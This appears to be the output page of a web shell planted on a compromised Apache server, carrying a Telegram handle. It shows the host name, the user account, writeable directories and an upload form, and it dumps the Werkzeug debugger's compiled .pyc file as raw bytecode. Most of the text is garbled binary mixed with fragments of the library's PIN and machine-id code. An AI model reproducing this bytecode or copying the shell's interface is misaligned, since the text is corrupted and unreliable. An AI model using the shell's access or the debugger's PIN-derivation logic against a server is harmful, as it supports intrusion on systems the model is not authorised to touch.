https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/lib/python2.7/site-packages/werkzeug/debug/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/lib/python2.7/site-packages/werkzeug/debug/__init__.pyc
�
./�_c@s�dZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlmZddl
mZddl
mZddlmZddlmZdd	lmZdd
lmZddlmZddlmZd
dlmZd
dlm Z d
dlm!Z!dZ"d�Z#da%d�Z&de'fd��YZ(d�Z)de'fd��YZ*dS(s�
    werkzeug.debug
    ~~~~~~~~~~~~~~

    WSGI application traceback debugger.

    :copyright: 2007 Pallets
    :license: BSD-3-Clause
i����N(tchain(tbasename(tjoini(t	text_type(t_log(tparse_cookie(tgen_salt(tBaseRequest(tBaseResponsei(tConsole(tget_current_traceback(trender_console_htmli<iicCs?t|t�r$|jdd�}ntj|d�j�d S(Nsutf-8treplacet
shittysalti(t
isinstanceRtencodethashlibtmd5t	hexdigest(tpin((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pythash_pin'scCs&tdk	rtSd�}|�atS(NcSs6d}xgdD]_}y.t|d��}|j�j�}WdQXWntk
rWq
nX|r
||7}Pq
q
Wy?tdd��*}||j�j�jd�d7}WdQXWntk
r�nX|r�|Sypdd	lm}m}|d
ddd
dgd|�j�d}t	j
d|�}|dk	r<|jd�SWnt
tfk
rVnXyddl}Wn;tk
r�yddl}Wq�tk
r�d}q�XnX|dk	r2yj|j|jdd|j|jB��?}	|j|	d�\}
}||jkr|
jd�S|
SWdQXWq2tk
r.q2XndS(Nts/etc/machine-ids/proc/sys/kernel/random/boot_idtrbs/proc/self/cgroupt/ii����(tPopentPIPEtioregs-ctIOPlatformExpertDevices-dt2tstdoutis"serial-number" = <([^>]+)isSOFTWARE\Microsoft\CryptographytMachineGuidsutf-8(s/etc/machine-ids/proc/sys/kernel/random/boot_id(topentreadlinetstriptIOErrort
rpartitiont
subprocessRRtcommunicatetretsearchtNonetgrouptOSErrortImportErrortwinregt_winregtOpenKeytHKEY_LOCAL_MACHINEtKEY_READtKEY_WOW64_64KEYtQueryValueExtREG_SZRtWindowsError(tlinuxtfilenametftvalueRRtdumptmatchtwrtrktguidt	guid_type((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pyt	_generate6s`


-
!



(t_machine_idR((R?((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pytget_machine_id0s
	E	t
_ConsoleFramecBseZdZd�ZRS(s]Helper class so that we can reuse the frame console code for the
    standalone console.
    cCst|�|_d|_dS(Ni(R	tconsoletid(tselft	namespace((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pyt__init__�s(t__name__t
__module__t__doc__RG(((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pyRBscsMtjjd�}d}d�|dkr.dS|dk	rp|jdd�j�rpd|krg|}qp|�nt|d|jj�}yt	j
�}Wnttfk
r�d}nXt
jj|�}||t|d|jj�t|dd�g}ttj��t�g}tj�}xQt||�D]@}	|	sCq1nt|	t�rd|	jd�}	n|j|	�q1W|jd	�d
|j�d }
�dkr�|jd�d
t|j�d�d �n|dkrCxedD]T�t���dkr�dj��fd�tdt����D��}Pq�q�W�}n||
fS(sQGiven an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    tWERKZEUG_DEBUG_PINtofft-RRIRHt__file__sutf-8t
cookiesaltt__wzditpinsalts%09dii	iiiic3s,|]"}�||�!j�d�VqdS(t0N(trjust(t.0tx(t
group_sizetnum(s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pys	<genexpr>�sN(NN(iii( tostenvirontgetR(Rtisdigittgetattrt	__class__RItgetpasstgetuserR+tKeyErrortsystmodulesRHtstrtuuidtgetnodeRARRRRRRtupdateRtinttlenRtrange(tappRtrvtmodnametusernametmodtprobably_public_bitstprivate_bitsthtbittcookie_name((RVRWs;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pytget_pin_and_cookie_name�sR$		


 
	tDebuggedApplicationcBs�eZdZedddeeed�Zed��Zej	d��Zed��Z
d�Zd�Zd	�Z
d
�Zd�Zd�Zd
�Zd�Zd�Zd�ZRS(sEnables debugging support for a given application::

        from werkzeug.debug import DebuggedApplication
        from myapp import app
        app = DebuggedApplication(app, evalex=True)

    The `evalex` keyword argument allows evaluating expressions in a
    traceback's frame context.

    :param app: the WSGI application to run debugged.
    :param evalex: enable exception evaluation feature (interactive
                   debugging).  This requires a non-forking server.
    :param request_key: The key that points to the request object in ths
                        environment.  This parameter is ignored in current
                        versions.
    :param console_path: the URL for a general purpose console.
    :param console_init_func: the function that is executed before starting
                              the general purpose console.  The return value
                              is used as initial namespace.
    :param show_hidden_frames: by default hidden traceback frames are skipped.
                               You can show them by setting this parameter
                               to `True`.
    :param pin_security: can be used to disable the pin based security system.
    :param pin_logging: enables the logging of the pin system.
    swerkzeug.requests/consolec		Cs�|sd}n||_||_i|_i|_||_||_||_||_t	d�|_
d|_||_|r�t
jjd�dkr�|r�tdd�|jdkr�tdd�q�tdd	|j�q�n	d|_dS(
NiitWERKZEUG_RUN_MAINttruetwarnings * Debugger is active!s- * Debugger PIN disabled. DEBUGGER UNSECURED!tinfos * Debugger PIN: %s(R(Rjtevalextframest
tracebackstrequest_keytconsole_pathtconsole_init_functshow_hidden_framesRtsecrett_failed_pin_authtpin_loggingRXRYRZRR(	RERjRzR}R~RR�tpin_securityR�((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pyRG�s(											
cCs4t|d�s-t|j�\|_|_n|jS(Nt_pin(thasattrRtRjR�t_pin_cookie(RE((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pyRscCs
||_dS(N(R�(RER8((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pyR!scCs4t|d�s-t|j�\|_|_n|jS(sThe name of the pin cookie.R�(R�RtRjR�R�(RE((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pytpin_cookie_name%sccsed}yH|j||�}x|D]}|Vq"Wt|d�rM|j�nWntk
r`t|d�rz|j�ntddd|jdt�}x!|jD]}||j|j	<q�W||j
|j	<y|dddg�Wn"tk
r|djd�nEXt|j
|��}|jd
|jd|d|j�jdd�V|j|d�nXdS(s6Run the application and conserve the traceback frames.tclosetskipiR�tignore_system_exceptionss500 INTERNAL SERVER ERRORsContent-Typestext/html; charset=utf-8sX-XSS-ProtectionRRswsgi.errorsspDebugging middleware caught exception in streamed response at a point where response headers were already sent.
Rztevalex_trustedR�sutf-8RN(sContent-Typestext/html; charset=utf-8(sX-XSS-ProtectionRR(R(RjR�R�t	ExceptionR
R�tTrueR{RDR|twritetbooltcheck_pin_trusttrender_fullRzR�Rtlog(RERYtstart_responsetapp_itertitemt	tracebacktframet
is_trusted((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pytdebug_application,s<
	

		

	cCst|jj|�dd�S(sExecute a command in a console.tmimetypes	text/html(tResponseRCteval(REtrequesttcommandR�((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pytexecute_command]scCs�d|jkrb|jdkr'i}nt|j��}|jd|j�t|�|jd<nt|j|j	��}t
td|jd|�dd�S(sDisplay a standalone shell.iRjR�R�R�s	text/htmlN(
R{RR(tdictt
setdefaultRjRBR�R�RYR�RR�(RER�tnsR�((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pytdisplay_consoleas	cCs%|j�}ttj|�dd�S(s/Paste the traceback and return a JSON response.R�sapplication/json(tpasteR�tjsontdumps(RER�R�Rk((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pytpaste_tracebackpscCs�tdt|��}ytjt|�}Wntk
rDd}nX|dk	rztj|�dpgd}t	|d|�St	ddd�S(	s0Return a static resource from the shared folder.tsharedisapplication/octet-streamR�s	Not Foundtstatusi�N(
RRtpkgutiltget_datat__package__R*R(t	mimetypest
guess_typeR�(RER�R6tdataR�((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pytget_resourceus

cCs�|jdkrtSt|�j|j�}|s>d|krBtS|jdd�\}}|j�sjtS|t	|j�kr�dSt
j
�tt|�kS(s!Checks if the request passed the pin test.  This returns `True` if the
        request is trusted on a pin/cookie basis and returns `False` if not.
        Additionally if the cookie's stored pin hash is wrong it will return
        `None` so that appropriate action can be taken.
        t|iN(
RR(R�RRZR�tFalsetsplitR[RttimetPIN_TIMERg(RERYtvalttstpin_hash((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pyR��scCs5tj|jdkrdnd�|jd7_dS(Nig@g�?i(R�tsleepR�(RE((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pyt_fail_pin_auth�s"cCsLt}t}|j|j�}t}|dkrC|j�t}n�|rRt}ns|jdkrjt}n[|jjd�}|j	�j
dd�|jj
dd�kr�d|_t}n
|j�tt
ji|d6|d6�dd	�}|r/|j|jd
ttj��t|j�fdt�n|rH|j|j�n|S(
sAuthenticates with the pin.i
RRMRitautht	exhaustedR�sapplication/jsons%s|%sthttponlyN(R�R�RYR(R�R�R�targsRZR!RRR�R�R�t
set_cookieR�RgR�Rt
delete_cookie(RER�R�R�ttrustt
bad_cookietentered_pinRk((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pytpin_auth�s6
			-		
	%
cCsF|jr<|jdk	r<tdd�tdd|j�ntd�S(sLog the pin if needed.Rys= * To enable the debugger you need to enter the security pin:s * Debugger pin code: %sRN(R�RR(RR�(RE((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pytlog_pin_request�s

c

Cst|�}|j}|jjd�dkr�|jjd�}|jjd�}|jjd�}|jj|jjddt��}|jj|jjddt��}	|d	kr�|r�|j||�}q�|d
kr|d
k	r||j	kr|j
||�}q�|dkr;||j	kr;|j|�}q�|dkre||j	kre|j�}q�|j
r�|d
k	r�|	d
k	r�|j	|kr�|j|�r�|j|||	�}q�n<|j
r�|jd
k	r�|j|jkr�|j|�}n|||�S(sDispatch the requests.t__debugger__tyestcmdR7tsttbttypetfrmtresourceR�tpinauthtprintpinN(tRequestR�R�RZR|RgR{R�R(R�R�R�R�RzR�R�R~tpathR�(
RERYR�R�tresponseR�targR�R�R�((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pyt__call__�s6	$$'		N(RHRIRJR�R(R�RGtpropertyRtsetterR�R�R�R�R�R�R�R�R�R�R�(((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pyRu�s*	1							/		ii�Qi�:	(+RJR^RR�R�RXR�R&RaR�Rdt	itertoolsRtos.pathRRt_compatRt	_internalRthttpRtsecurityRtwrappersRR�RR�RCR	ttbtoolsR
RR�RR(R@RAtobjectRBRtRu(((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/debug/__init__.pyt<module>
s:		O
	S

https://t.me/AnonymousX5 - 2025